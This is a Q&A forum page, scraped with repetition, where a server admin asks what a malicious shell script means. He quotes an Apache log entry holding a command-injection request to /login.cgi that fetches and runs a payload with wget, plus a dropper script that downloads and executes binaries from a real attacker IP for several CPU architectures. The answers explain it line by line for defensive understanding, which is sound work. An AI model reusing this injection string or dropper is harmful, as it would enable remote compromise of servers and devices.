What does this bash script do? [Hack Attempt]
Clash Royale CLAN TAG#URR8PPP
up vote
30
down vote
favorite
I've been noticing on my servers apache logs, the following strange lines lately:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
So I made a custom Fail2Ban filter and started banning the IPs requesting these /login.cgi URLs.
But I was curious as to what they were trying to do, so I pulled the script they're trying to execute and I can't seem to figure out what exactly it does. Something about removing arch folders in /var and /tmp?
Anyway, here it is:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
linux bash apache-http-server shell-script
add a comment |Â
up vote
30
down vote
favorite
I've been noticing on my servers apache logs, the following strange lines lately:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
So I made a custom Fail2Ban filter and started banning the IPs requesting these /login.cgi URLs.
But I was curious as to what they were trying to do, so I pulled the script they're trying to execute and I can't seem to figure out what exactly it does. Something about removing arch folders in /var and /tmp?
Anyway, here it is:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
linux bash apache-http-server shell-script
4
Related vulnerability: twitter.com/txalin/status/1007625620090707974?lang=en
â user2064000
Sep 8 at 18:58
1
How did that script get on your server in the first place?
â MrWhite
Sep 9 at 1:06
3
I just open the .sh file in a browser on my home pc and copy and pasted it in here, it never actually got on my server.
â ndom91
Sep 9 at 6:26
1
This script is a 'dropper', which is used to download the actual exploit script. This will be located athxxp://80.211.173.159:80/$name
where$name
is each of the CPU architectures inbin_names
. So 7 attack scripts will be downloaded and executed
â BlueCacti
Sep 10 at 10:08
add a comment |Â
up vote
30
down vote
favorite
up vote
30
down vote
favorite
I've been noticing on my servers apache logs, the following strange lines lately:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
So I made a custom Fail2Ban filter and started banning the IPs requesting these /login.cgi URLs.
But I was curious as to what they were trying to do, so I pulled the script they're trying to execute and I can't seem to figure out what exactly it does. Something about removing arch folders in /var and /tmp?
Anyway, here it is:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
linux bash apache-http-server shell-script
I've been noticing on my servers apache logs, the following strange lines lately:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
So I made a custom Fail2Ban filter and started banning the IPs requesting these /login.cgi URLs.
But I was curious as to what they were trying to do, so I pulled the script they're trying to execute and I can't seem to figure out what exactly it does. Something about removing arch folders in /var and /tmp?
Anyway, here it is:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
linux bash apache-http-server shell-script
linux bash apache-http-server shell-script
edited Sep 8 at 22:00
RonJohn
1456
1456
asked Sep 8 at 8:11
ndom91
15626
15626
4
Related vulnerability: twitter.com/txalin/status/1007625620090707974?lang=en
â user2064000
Sep 8 at 18:58
1
How did that script get on your server in the first place?
â MrWhite
Sep 9 at 1:06
3
I just open the .sh file in a browser on my home pc and copy and pasted it in here, it never actually got on my server.
â ndom91
Sep 9 at 6:26
1
This script is a 'dropper', which is used to download the actual exploit script. This will be located athxxp://80.211.173.159:80/$name
where$name
is each of the CPU architectures inbin_names
. So 7 attack scripts will be downloaded and executed
â BlueCacti
Sep 10 at 10:08
add a comment |Â
4
Related vulnerability: twitter.com/txalin/status/1007625620090707974?lang=en
â user2064000
Sep 8 at 18:58
1
How did that script get on your server in the first place?
â MrWhite
Sep 9 at 1:06
3
I just open the .sh file in a browser on my home pc and copy and pasted it in here, it never actually got on my server.
â ndom91
Sep 9 at 6:26
1
This script is a 'dropper', which is used to download the actual exploit script. This will be located athxxp://80.211.173.159:80/$name
where$name
is each of the CPU architectures inbin_names
. So 7 attack scripts will be downloaded and executed
â BlueCacti
Sep 10 at 10:08
4
4
Related vulnerability: twitter.com/txalin/status/1007625620090707974?lang=en
â user2064000
Sep 8 at 18:58
Related vulnerability: twitter.com/txalin/status/1007625620090707974?lang=en
â user2064000
Sep 8 at 18:58
1
1
How did that script get on your server in the first place?
â MrWhite
Sep 9 at 1:06
How did that script get on your server in the first place?
â MrWhite
Sep 9 at 1:06
3
3
I just open the .sh file in a browser on my home pc and copy and pasted it in here, it never actually got on my server.
â ndom91
Sep 9 at 6:26
I just open the .sh file in a browser on my home pc and copy and pasted it in here, it never actually got on my server.
â ndom91
Sep 9 at 6:26
1
1
This script is a 'dropper', which is used to download the actual exploit script. This will be located at
hxxp://80.211.173.159:80/$name
where $name
is each of the CPU architectures in bin_names
. So 7 attack scripts will be downloaded and executedâ BlueCacti
Sep 10 at 10:08
This script is a 'dropper', which is used to download the actual exploit script. This will be located at
hxxp://80.211.173.159:80/$name
where $name
is each of the CPU architectures in bin_names
. So 7 attack scripts will be downloaded and executedâ BlueCacti
Sep 10 at 10:08
add a comment |Â
2 Answers
2
active
oldest
votes
up vote
42
down vote
accepted
Line by line:
#!/bin/sh
Establishes the sh
shell, whichever that is, as the shebang line. sh%20/tmp/ks
in the request overrides this, so this line is treated as a normal comment and ignored.
u="asgknskjdgn"
Declares an arbitrary name, presumably to avoid colliding with other filenames. I'm not sure why they wouldn't just use mktemp
, but maybe that is not available on all platforms.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumerates several common CPU architectures.
http_server="80.211.173.159"
http_port=80
The server which has the exploit.
cd /tmp/||cd /var/
Tries to change directory to somewhere your web server is likely to be able to create files. I believe SELinux will help with this, by enforcing much stricter rules about what the web server can do than the file system does on its own.
for name in $bin_names
do
For each CPU architectureâ¦
rm -rf $u
Removes previously tried exploit programs. Unnecessary because of the next line, so can be ignored.
cp $SHELL $u
Copies the current shell executable (/bin/sh
). Can be ignored because of the line after next.
chmod 777 $u
Makes everyone have full access to the new file. This should have been after the wget
command, which is either a sign of a shell scripting newbie or a misdirection technique.
>$u
Empties out the file. Pointless because of the next line.
wget http://$http_server:$http_port/$name -O -> $u
Overwrites the file with the exploit script for this architecture. -O -> $u
could have been written -O - > $u
(the hyphen indicates that the download should be written to standard output) which is equivalent to -O $u
.
./$u $name
Runs the exploit script with the architecture as the first argument.
done
Ends the loop.
It looks like this is a trivial exploit attempt script, trying known exploits against various CPU platforms. I do not know why it overwrites $u
three times, but those operations could simply be remains from an earlier iteration of the script. Presumably that earlier version had the exploits hard coded rather than dynamically served - the former is easier but almost guarantees that the script will be less effective over time as bugs are patched.
21
There is an advantage to explicitly rm'ing the file. If the destination already exists and is being executed right now, the kernel will not allow you to open the file for writing (-ETXTBSY). However, renaming or deleting a running program is allowed.
â grawity
Sep 8 at 9:32
What does the->
in thewget
command do? Why not justwget ... -O $u
?
â RonJohn
Sep 8 at 20:39
1
@RonJohn read it as- >
â cat
Sep 8 at 22:08
5
With-O->filename
, thefilename
doesn't show in the output of ps ax. That can be an advantage to make debugging harder.
â pts
Sep 9 at 19:43
1
Thecp
gives you an executable file. Possibly useful if thechmod
fails? Edit: given that apparently this targets routers, it's quite possible thatchmod
doesn't exist.
â Bob
Sep 10 at 2:47
 |Â
show 5 more comments
up vote
12
down vote
The wget
is the key dangerous line.
The for name in $bin_names
is working through the list of platforms and for each platform it is clearing a temporary directory, copying a shell over and then making it accessible by everyone.
It then downloads a file using wget
and then executes it using the shell program it just copied over.
The script is basically attempting to download a series of executables or scripts for every platform it can and rubbing them against your system in the hope that it can further compromise your system.
6
rubbing == running?
â Barmar
Sep 8 at 13:45
5
@Barmar I'm sure that was intentional :P
â Canadian Luke
Sep 9 at 16:58
add a comment |Â
2 Answers
2
active
oldest
votes
2 Answers
2
active
oldest
votes
active
oldest
votes
active
oldest
votes
up vote
42
down vote
accepted
Line by line:
#!/bin/sh
Establishes the sh
shell, whichever that is, as the shebang line. sh%20/tmp/ks
in the request overrides this, so this line is treated as a normal comment and ignored.
u="asgknskjdgn"
Declares an arbitrary name, presumably to avoid colliding with other filenames. I'm not sure why they wouldn't just use mktemp
, but maybe that is not available on all platforms.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumerates several common CPU architectures.
http_server="80.211.173.159"
http_port=80
The server which has the exploit.
cd /tmp/||cd /var/
Tries to change directory to somewhere your web server is likely to be able to create files. I believe SELinux will help with this, by enforcing much stricter rules about what the web server can do than the file system does on its own.
for name in $bin_names
do
For each CPU architectureâ¦
rm -rf $u
Removes previously tried exploit programs. Unnecessary because of the next line, so can be ignored.
cp $SHELL $u
Copies the current shell executable (/bin/sh
). Can be ignored because of the line after next.
chmod 777 $u
Makes everyone have full access to the new file. This should have been after the wget
command, which is either a sign of a shell scripting newbie or a misdirection technique.
>$u
Empties out the file. Pointless because of the next line.
wget http://$http_server:$http_port/$name -O -> $u
Overwrites the file with the exploit script for this architecture. -O -> $u
could have been written -O - > $u
(the hyphen indicates that the download should be written to standard output) which is equivalent to -O $u
.
./$u $name
Runs the exploit script with the architecture as the first argument.
done
Ends the loop.
It looks like this is a trivial exploit attempt script, trying known exploits against various CPU platforms. I do not know why it overwrites $u
three times, but those operations could simply be remains from an earlier iteration of the script. Presumably that earlier version had the exploits hard coded rather than dynamically served - the former is easier but almost guarantees that the script will be less effective over time as bugs are patched.
21
There is an advantage to explicitly rm'ing the file. If the destination already exists and is being executed right now, the kernel will not allow you to open the file for writing (-ETXTBSY). However, renaming or deleting a running program is allowed.
â grawity
Sep 8 at 9:32
What does the->
in thewget
command do? Why not justwget ... -O $u
?
â RonJohn
Sep 8 at 20:39
1
@RonJohn read it as- >
â cat
Sep 8 at 22:08
5
With-O->filename
, thefilename
doesn't show in the output of ps ax. That can be an advantage to make debugging harder.
â pts
Sep 9 at 19:43
1
Thecp
gives you an executable file. Possibly useful if thechmod
fails? Edit: given that apparently this targets routers, it's quite possible thatchmod
doesn't exist.
â Bob
Sep 10 at 2:47
 |Â
show 5 more comments
up vote
42
down vote
accepted
Line by line:
#!/bin/sh
Establishes the sh
shell, whichever that is, as the shebang line. sh%20/tmp/ks
in the request overrides this, so this line is treated as a normal comment and ignored.
u="asgknskjdgn"
Declares an arbitrary name, presumably to avoid colliding with other filenames. I'm not sure why they wouldn't just use mktemp
, but maybe that is not available on all platforms.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumerates several common CPU architectures.
http_server="80.211.173.159"
http_port=80
The server which has the exploit.
cd /tmp/||cd /var/
Tries to change directory to somewhere your web server is likely to be able to create files. I believe SELinux will help with this, by enforcing much stricter rules about what the web server can do than the file system does on its own.
for name in $bin_names
do
For each CPU architectureâ¦
rm -rf $u
Removes previously tried exploit programs. Unnecessary because of the next line, so can be ignored.
cp $SHELL $u
Copies the current shell executable (/bin/sh
). Can be ignored because of the line after next.
chmod 777 $u
Makes everyone have full access to the new file. This should have been after the wget
command, which is either a sign of a shell scripting newbie or a misdirection technique.
>$u
Empties out the file. Pointless because of the next line.
wget http://$http_server:$http_port/$name -O -> $u
Overwrites the file with the exploit script for this architecture. -O -> $u
could have been written -O - > $u
(the hyphen indicates that the download should be written to standard output) which is equivalent to -O $u
.
./$u $name
Runs the exploit script with the architecture as the first argument.
done
Ends the loop.
It looks like this is a trivial exploit attempt script, trying known exploits against various CPU platforms. I do not know why it overwrites $u
three times, but those operations could simply be remains from an earlier iteration of the script. Presumably that earlier version had the exploits hard coded rather than dynamically served - the former is easier but almost guarantees that the script will be less effective over time as bugs are patched.
21
There is an advantage to explicitly rm'ing the file. If the destination already exists and is being executed right now, the kernel will not allow you to open the file for writing (-ETXTBSY). However, renaming or deleting a running program is allowed.
â grawity
Sep 8 at 9:32
What does the->
in thewget
command do? Why not justwget ... -O $u
?
â RonJohn
Sep 8 at 20:39
1
@RonJohn read it as- >
â cat
Sep 8 at 22:08
5
With-O->filename
, thefilename
doesn't show in the output of ps ax. That can be an advantage to make debugging harder.
â pts
Sep 9 at 19:43
1
Thecp
gives you an executable file. Possibly useful if thechmod
fails? Edit: given that apparently this targets routers, it's quite possible thatchmod
doesn't exist.
â Bob
Sep 10 at 2:47
 |Â
show 5 more comments
up vote
42
down vote
accepted
up vote
42
down vote
accepted
Line by line:
#!/bin/sh
Establishes the sh
shell, whichever that is, as the shebang line. sh%20/tmp/ks
in the request overrides this, so this line is treated as a normal comment and ignored.
u="asgknskjdgn"
Declares an arbitrary name, presumably to avoid colliding with other filenames. I'm not sure why they wouldn't just use mktemp
, but maybe that is not available on all platforms.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumerates several common CPU architectures.
http_server="80.211.173.159"
http_port=80
The server which has the exploit.
cd /tmp/||cd /var/
Tries to change directory to somewhere your web server is likely to be able to create files. I believe SELinux will help with this, by enforcing much stricter rules about what the web server can do than the file system does on its own.
for name in $bin_names
do
For each CPU architectureâ¦
rm -rf $u
Removes previously tried exploit programs. Unnecessary because of the next line, so can be ignored.
cp $SHELL $u
Copies the current shell executable (/bin/sh
). Can be ignored because of the line after next.
chmod 777 $u
Makes everyone have full access to the new file. This should have been after the wget
command, which is either a sign of a shell scripting newbie or a misdirection technique.
>$u
Empties out the file. Pointless because of the next line.
wget http://$http_server:$http_port/$name -O -> $u
Overwrites the file with the exploit script for this architecture. -O -> $u
could have been written -O - > $u
(the hyphen indicates that the download should be written to standard output) which is equivalent to -O $u
.
./$u $name
Runs the exploit script with the architecture as the first argument.
done
Ends the loop.
It looks like this is a trivial exploit attempt script, trying known exploits against various CPU platforms. I do not know why it overwrites $u
three times, but those operations could simply be remains from an earlier iteration of the script. Presumably that earlier version had the exploits hard coded rather than dynamically served - the former is easier but almost guarantees that the script will be less effective over time as bugs are patched.
Line by line:
#!/bin/sh
Establishes the sh
shell, whichever that is, as the shebang line. sh%20/tmp/ks
in the request overrides this, so this line is treated as a normal comment and ignored.
u="asgknskjdgn"
Declares an arbitrary name, presumably to avoid colliding with other filenames. I'm not sure why they wouldn't just use mktemp
, but maybe that is not available on all platforms.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumerates several common CPU architectures.
http_server="80.211.173.159"
http_port=80
The server which has the exploit.
cd /tmp/||cd /var/
Tries to change directory to somewhere your web server is likely to be able to create files. I believe SELinux will help with this, by enforcing much stricter rules about what the web server can do than the file system does on its own.
for name in $bin_names
do
For each CPU architectureâ¦
rm -rf $u
Removes previously tried exploit programs. Unnecessary because of the next line, so can be ignored.
cp $SHELL $u
Copies the current shell executable (/bin/sh
). Can be ignored because of the line after next.
chmod 777 $u
Makes everyone have full access to the new file. This should have been after the wget
command, which is either a sign of a shell scripting newbie or a misdirection technique.
>$u
Empties out the file. Pointless because of the next line.
wget http://$http_server:$http_port/$name -O -> $u
Overwrites the file with the exploit script for this architecture. -O -> $u
could have been written -O - > $u
(the hyphen indicates that the download should be written to standard output) which is equivalent to -O $u
.
./$u $name
Runs the exploit script with the architecture as the first argument.
done
Ends the loop.
It looks like this is a trivial exploit attempt script, trying known exploits against various CPU platforms. I do not know why it overwrites $u
three times, but those operations could simply be remains from an earlier iteration of the script. Presumably that earlier version had the exploits hard coded rather than dynamically served - the former is easier but almost guarantees that the script will be less effective over time as bugs are patched.
edited Sep 8 at 20:51
answered Sep 8 at 9:00
l0b0
5,17722340
5,17722340
21
There is an advantage to explicitly rm'ing the file. If the destination already exists and is being executed right now, the kernel will not allow you to open the file for writing (-ETXTBSY). However, renaming or deleting a running program is allowed.
â grawity
Sep 8 at 9:32
What does the->
in thewget
command do? Why not justwget ... -O $u
?
â RonJohn
Sep 8 at 20:39
1
@RonJohn read it as- >
â cat
Sep 8 at 22:08
5
With-O->filename
, thefilename
doesn't show in the output of ps ax. That can be an advantage to make debugging harder.
â pts
Sep 9 at 19:43
1
Thecp
gives you an executable file. Possibly useful if thechmod
fails? Edit: given that apparently this targets routers, it's quite possible thatchmod
doesn't exist.
â Bob
Sep 10 at 2:47
 |Â
show 5 more comments
21
There is an advantage to explicitly rm'ing the file. If the destination already exists and is being executed right now, the kernel will not allow you to open the file for writing (-ETXTBSY). However, renaming or deleting a running program is allowed.
â grawity
Sep 8 at 9:32
What does the->
in thewget
command do? Why not justwget ... -O $u
?
â RonJohn
Sep 8 at 20:39
1
@RonJohn read it as- >
â cat
Sep 8 at 22:08
5
With-O->filename
, thefilename
doesn't show in the output of ps ax. That can be an advantage to make debugging harder.
â pts
Sep 9 at 19:43
1
Thecp
gives you an executable file. Possibly useful if thechmod
fails? Edit: given that apparently this targets routers, it's quite possible thatchmod
doesn't exist.
â Bob
Sep 10 at 2:47
21
21
There is an advantage to explicitly rm'ing the file. If the destination already exists and is being executed right now, the kernel will not allow you to open the file for writing (-ETXTBSY). However, renaming or deleting a running program is allowed.
â grawity
Sep 8 at 9:32
There is an advantage to explicitly rm'ing the file. If the destination already exists and is being executed right now, the kernel will not allow you to open the file for writing (-ETXTBSY). However, renaming or deleting a running program is allowed.
â grawity
Sep 8 at 9:32
What does the
->
in the wget
command do? Why not just wget ... -O $u
?â RonJohn
Sep 8 at 20:39
What does the
->
in the wget
command do? Why not just wget ... -O $u
?â RonJohn
Sep 8 at 20:39
1
1
@RonJohn read it as
- >
â cat
Sep 8 at 22:08
@RonJohn read it as
- >
â cat
Sep 8 at 22:08
5
5
With
-O->filename
, the filename
doesn't show in the output of ps ax. That can be an advantage to make debugging harder.â pts
Sep 9 at 19:43
With
-O->filename
, the filename
doesn't show in the output of ps ax. That can be an advantage to make debugging harder.â pts
Sep 9 at 19:43
1
1
The
cp
gives you an executable file. Possibly useful if the chmod
fails? Edit: given that apparently this targets routers, it's quite possible that chmod
doesn't exist.â Bob
Sep 10 at 2:47
The
cp
gives you an executable file. Possibly useful if the chmod
fails? Edit: given that apparently this targets routers, it's quite possible that chmod
doesn't exist.â Bob
Sep 10 at 2:47
 |Â
show 5 more comments
up vote
12
down vote
The wget
is the key dangerous line.
The for name in $bin_names
is working through the list of platforms and for each platform it is clearing a temporary directory, copying a shell over and then making it accessible by everyone.
It then downloads a file using wget
and then executes it using the shell program it just copied over.
The script is basically attempting to download a series of executables or scripts for every platform it can and rubbing them against your system in the hope that it can further compromise your system.
6
rubbing == running?
â Barmar
Sep 8 at 13:45
5
@Barmar I'm sure that was intentional :P
â Canadian Luke
Sep 9 at 16:58
add a comment |Â
up vote
12
down vote
The wget
is the key dangerous line.
The for name in $bin_names
is working through the list of platforms and for each platform it is clearing a temporary directory, copying a shell over and then making it accessible by everyone.
It then downloads a file using wget
and then executes it using the shell program it just copied over.
The script is basically attempting to download a series of executables or scripts for every platform it can and rubbing them against your system in the hope that it can further compromise your system.
6
rubbing == running?
â Barmar
Sep 8 at 13:45
5
@Barmar I'm sure that was intentional :P
â Canadian Luke
Sep 9 at 16:58
add a comment |Â
up vote
12
down vote
up vote
12
down vote
The wget
is the key dangerous line.
The for name in $bin_names
is working through the list of platforms and for each platform it is clearing a temporary directory, copying a shell over and then making it accessible by everyone.
It then downloads a file using wget
and then executes it using the shell program it just copied over.
The script is basically attempting to download a series of executables or scripts for every platform it can and rubbing them against your system in the hope that it can further compromise your system.
The wget
is the key dangerous line.
The for name in $bin_names
is working through the list of platforms and for each platform it is clearing a temporary directory, copying a shell over and then making it accessible by everyone.
It then downloads a file using wget
and then executes it using the shell program it just copied over.
The script is basically attempting to download a series of executables or scripts for every platform it can and rubbing them against your system in the hope that it can further compromise your system.
answered Sep 8 at 8:53
Mokubaiâ¦
54.6k16128148
54.6k16128148
6
rubbing == running?
â Barmar
Sep 8 at 13:45
5
@Barmar I'm sure that was intentional :P
â Canadian Luke
Sep 9 at 16:58
add a comment |Â
6
rubbing == running?
â Barmar
Sep 8 at 13:45
5
@Barmar I'm sure that was intentional :P
â Canadian Luke
Sep 9 at 16:58
6
6
rubbing == running?
â Barmar
Sep 8 at 13:45
rubbing == running?
â Barmar
Sep 8 at 13:45
5
5
@Barmar I'm sure that was intentional :P
â Canadian Luke
Sep 9 at 16:58
@Barmar I'm sure that was intentional :P
â Canadian Luke
Sep 9 at 16:58
add a comment |Â
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fsuperuser.com%2fquestions%2f1356359%2fwhat-does-this-bash-script-do-hack-attempt%23new-answer', 'question_page');
);
Post as a guest
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Sign up or log in
StackExchange.ready(function ()
StackExchange.helpers.onClickDraftSave('#login-link');
);
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
4
Related vulnerability: twitter.com/txalin/status/1007625620090707974?lang=en
â user2064000
Sep 8 at 18:58
1
How did that script get on your server in the first place?
â MrWhite
Sep 9 at 1:06
3
I just open the .sh file in a browser on my home pc and copy and pasted it in here, it never actually got on my server.
â ndom91
Sep 9 at 6:26
1
This script is a 'dropper', which is used to download the actual exploit script. This will be located at
hxxp://80.211.173.159:80/$name
where$name
is each of the CPU architectures inbin_names
. So 7 attack scripts will be downloaded and executedâ BlueCacti
Sep 10 at 10:08